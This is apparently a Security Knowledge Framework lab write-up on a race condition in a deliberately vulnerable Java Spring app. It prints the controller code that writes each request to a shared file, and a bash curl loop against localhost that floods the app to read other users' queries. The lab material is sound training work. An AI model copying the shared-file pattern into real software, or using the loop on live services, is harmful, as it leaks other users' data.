SKF write-ups
Search…
Java - Race Condition File-Write

Running the app Java

First make sure java is installed on your host machine. After installation, we go to the folder of the lab we want to practice. "i.e /skf-labs/XSS, /skf-labs/RFI/" and run the following command:
1
$ ./mvnw spring-boot:run
Copied!
Now that the app is running let's go hacking!

Reconnaissance

Step1

We can download a file from the server by doing a GET request to the server.
Let's try:
Once we download the file we can see whatever we add to the URL is being written in a file called shared-file.

Step 2

As the application suggests, there is a Race condition vulnerability in this app, let's try to find it.
If we look at the code we see that the application gets the query parameter, writes to a file called shared-file.txt, then opens the file and send it back as a response.
1
public class RaceConditionController {
2
@GetMapping("/{value}")
3
public ResponseEntity<Object> downloadFile(@PathVariable String value, Model model) throws IOException {
4
FileWriter fileWriter = new FileWriter("shared-file.txt", false);
5
fileWriter.write(value);
6
fileWriter.close();
7
File file = new File("shared-file.txt");
8
InputStreamResource resource = new InputStreamResource(new FileInputStream(file));
9
HttpHeaders headers = new HttpHeaders();
10
headers.add("Content-Disposition", String.format("attachment; filename=\"%s\"", file.getName()));
11
headers.add("Cache-Control", "no-cache, no-store, must-revalidate");
12
headers.add("Pragma", "no-cache");
13
headers.add("Expires", "0");
14
ResponseEntity<Object> responseEntity = ResponseEntity.ok().headers(headers).contentLength(file.length())
15
.contentType(
16
MediaType.parseMediaType("application/txt"))
17
.body(resource);
18
19
return responseEntity;
20
}
21
}
Copied!

Step 3

How can we exploit this?
We have a very small window between the writing of the file:
1
InputStreamResource resource = new InputStreamResource(new FileInputStream(file));
Copied!
and the response:
1
HttpHeaders headers = new HttpHeaders();
2
headers.add("Content-Disposition", String.format("attachment; filename=\"%s\"", file.getName()));
3
headers.add("Cache-Control", "no-cache, no-store, must-revalidate");
4
headers.add("Pragma", "no-cache");
5
headers.add("Expires", "0");
6
ResponseEntity<Object> responseEntity = ResponseEntity.ok().headers(headers).contentLength(file.length())
7
.contentType(MediaType.parseMediaType("application/txt"))
8
.body(resource);
9
return responseEntity;
Copied!
Maybe if we have multiple users on this application at the same time we might be able to intercept someone else's query.

Exploitation

In order to do that we must send requests with high frequency.
Doing it manually is practically impossible, so we create a script that does that for us:
1
#!/bin/bash
2
3
while true; do
4
5
curl -i -s -k -X #x27;GET' -H #x27;Host: localhost:5000' #x27;http://localhost:5000/111' | grep "111"
6
7
done
Copied!
and in the meantime we will send a couple requests from Burp:
If we look in the logs we will see:

Additional sources

https://wiki.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010)
Export as PDF
Copy link
Edit on GitHub